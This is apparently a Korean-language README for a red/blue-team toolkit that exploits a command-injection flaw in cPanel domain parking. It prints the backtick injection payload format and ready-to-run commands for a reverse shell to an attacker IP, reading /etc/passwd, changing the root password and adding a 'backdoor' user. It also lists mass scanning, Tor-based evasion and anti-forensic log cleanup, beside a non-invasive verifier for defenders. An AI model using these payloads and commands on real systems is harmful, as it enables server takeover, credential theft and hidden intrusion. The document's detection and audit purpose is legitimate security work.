
Red/Blue 팀 툴킷으로, cPanel 도메인 파킹 RCE인 CVE-2026-65643을 위한 도구입니다. 리버스 셸, 웹셸, 지속성, 대량 스캔 기능을 갖춘 익스플로잇과, 탐지 및 감사를 위한 비침습적 검증기를 포함합니다.

⚠️ 윤리적 사용 전용 – 승인된 보안 테스트 이 저장소는 승인된 보안 전문가, 블루 팀, 침투 테스터만을 위한 도구를 제공합니다. 승인되지 않은 컴퓨터 시스템 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계의 유사한 법률에 따라 불법입니다.
CVE‑2026‑65643은 cPanel & WHM 11.x 버전에서 발견된 치명적인 명령 주입 취약점으로, 인증된 cPanel 사용자가 도메인 파킹 기능을 통해 루트 권한으로 임의의 시스템 명령을 실행할 수 있게 합니다.
`)을 사용하여 셸 명령을 주입할 수 있습니다.| 도구 | 용도 | 대상 사용자 |
|---|---|---|
exploit.py | 리버스 셸, 웹셸, 지속성, 파일 읽기/쓰기, 루트 비밀번호 변경, 대량 스캔, Tor 지원 및 OPSEC 기능을 갖춘 완전한 무기화 툴킷. | 레드 팀 / 승인된 침투 테스터 |
verifier.py | 악성 페이로드를 실행하지 않고 cPanel 버전을 감지하고, 주입을 검증하며, 위험을 평가하는 비침습적 취약점 검사기. 상세 보고서를 생성합니다. | 블루 팀 / 보안 감사자 |
git clone https://github.com/tc4dy/CVE-2026-65643-Toolkit
cd CVE-2026-65643-Toolkit
pip install -r requirements.txt
requests
urllib3
exploit.py 매개변수verifier.py 매개변수이 익스플로잇은 다음 cPanel 엔드포인트와 주입 방식을 사용합니다:
# 주입 페이로드 형식
test.com`<command>`
# 예시
test.com`id`
test.com`whoami`
test.com`echo 'pwned' > /tmp/pwned`
이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.
| 기능 | exploit.py | verifier.py |
|---|
| 취약점 탐지 | ✅ | ✅ |
| 버전 탐지 (4개 엔드포인트) | ✅ | ✅ |
| 명령 주입 | ✅ | ❌ |
| 리버스 셸 | ✅ | ❌ |
| 웹셸 업로드 | ✅ | ❌ |
| 지속성 (cPanel 사용자 생성) | ✅ | ❌ |
| 루트 비밀번호 변경 | ✅ | ❌ |
| 파일 읽기/쓰기 | ✅ | ❌ |
| 4가지 주입 방식 (JSON/Form/CGI/API2) | ✅ | ✅ |
| Tor 지원 (익명성) | ✅ | ❌ |
| User‑Agent 회전 (OPSEC) | ✅ | ❌ |
| 지터 (OPSEC) | ✅ | ❌ |
| 대량 스캔 (멀티 스레드) | ✅ | ❌ |
| 대화형 셸 | ✅ | ❌ |
| 비침습적 (안전) 모드 | ❌ | ✅ |
| 타임라인 로깅 | ✅ | ✅ |
| HTML 보고서 | ✅ | ❌ |
| JSON 보고서 | ✅ | ✅ |
| 로그 정리 (안티 포렌식) | ✅ | ✅ |
| 프록시 지원 | ✅ | ✅ |
| 사용자 지정 User‑Agent | ✅ | ✅ |
| SSL 검증 제어 | ✅ | ✅ |
| 시나리오 | 권장 도구 |
|---|
| 블루 팀 – cPanel 설치가 취약한지 확인 | verifier.py |
| 보안 감사 – 비침습적 취약점 평가 | verifier.py |
| 레드 팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트 | exploit.py |
| 버그 바운티 – 책임 있는 공개 테스트 | verifier.py |
| 대량 스캔 – 여러 대상의 취약점 확인 | exploit.py (탐지 전용) |
| 침해 대응 – 시스템이 손상되었는지 확인 | verifier.py |
| 매개변수 | 설명 |
|---|
-t, --target | 대상 cPanel URL (예: https://cpanel.example.com:2083) |
-l, --target-file | 대량 스캔을 위한 대상 목록 파일 (줄당 하나) |
-u, --username | cPanel 사용자 이름 |
-P, --password | cPanel 비밀번호 |
-p, --port | cPanel 포트 재정의 (기본값: URL 또는 2083) |
--threads | 다중 대상 스캔 스레드 수 (기본값: 10) |
-o, --output | JSON 보고서를 파일로 저장 |
--html-report | HTML 보고서를 파일로 저장 |
-v, --verbose | 상세 출력 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--tor | Tor 경유 (localhost:9050) |
-ua, --user-agent | 사용자 지정 User‑Agent |
--no-keep-alive | 세션 유지 안 함 |
--delay | 요청 간 지연 시간 (기본값: 2.0초) |
--jitter | 요청 간 무작위 지터 (0‑1초) (기본값: 0.5) |
--max-retries | 최대 재시도 횟수 (기본값: 5) |
--ssl-verify | SSL 인증서 검증 |
--timeout | 요청 시간 초과 (기본값: 15초) |
--cmd | 대상에서 단일 명령 실행 |
--reverse-shell | 리버스 셸 IP:PORT |
--passwd | 루트 비밀번호 변경 |
--adduser | cPanel 사용자 생성 (USER DOMAIN PASSWORD) |
--read | 파일 읽기 |
--write | 파일 쓰기 (경로 지정) |
--write-content | 쓸 내용 |
--cleanup | 익스플로잇 후 로그 및 기록 정리 |
-i, --interactive | 익스플로잇 후 대화형 셸 |
--domain-suffix | 파킹 도메인 접미사 (기본값: exploit.local) |
| 매개변수 | 설명 |
|---|
-t, --target | 대상 cPanel URL (예: https://cpanel.example.com:2083) |
-u, --username | cPanel 사용자 이름 |
-P, --password | cPanel 비밀번호 |
-o, --output | JSON 보고서를 파일로 저장 |
-v, --verbose | 상세 출력 |
--proxy | HTTP/HTTPS 프록시 (예: http://127.0.0.1:8080) |
--tor | Tor 경유 (localhost:9050) |
--ssl-verify | SSL 인증서 검증 |
--timeout | 요청 시간 초과 (기본값: 15초) |
--cleanup | 테스트 후 로그 정리 |
| # | 시나리오 | 명령어 |
|---|
| 1 | 빠른 취약점 확인 | python verifier.py -t https://cpanel.example.com:2083 -u user -P pass |
| 2 | 보고서 포함 상세 스캔 | python verifier.py -t https://cpanel.example.com:2083 -u user -P pass -o report.json -v |
| 3 | 리버스 셸 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --reverse-shell 192.168.1.100:4444 |
| 4 | 명령 실행 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cmd "whoami" |
| 5 | 민감한 파일 읽기 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --read /etc/passwd |
| 6 | 루트 비밀번호 변경 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --passwd NewRootPass123 |
| 7 | 새 cPanel 사용자 생성 (지속성) | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --adduser backdoor domain.com Parola123 |
| 8 | 익스플로잇 후 대화형 셸 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass -i |
| 9 | 파일에서 대량 스캔 | python exploit.py -l targets.txt -u user -P pass --threads 20 -o results.json |
| 10 | 프록시, Tor 및 사용자 지정 User‑Agent 사용 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --proxy http://127.0.0.1:8080 --tor -ua "Mozilla/5.0" |
| 11 | 익스플로잇 후 로그 정리 | python exploit.py -t https://cpanel.example.com:2083 -u user -P pass --cleanup |
| 방식 | 엔드포인트 | 설명 |
|---|
| JSON API | /cpsessXXXXX/json-api/domain | JSON 페이로드를 통한 기본 주입 방식 |
| Form Data | /cpsessXXXXX/json-api/domain | 폼 인코딩 데이터를 통한 대체 주입 |
| CGI 스크립트 | /cgi-sys/domainpark.cgi | 레거시 CGI 엔드포인트 주입 |
| API2 | /cpsessXXXXX/json-api/cpanel | 레거시 API2 주입 방식 |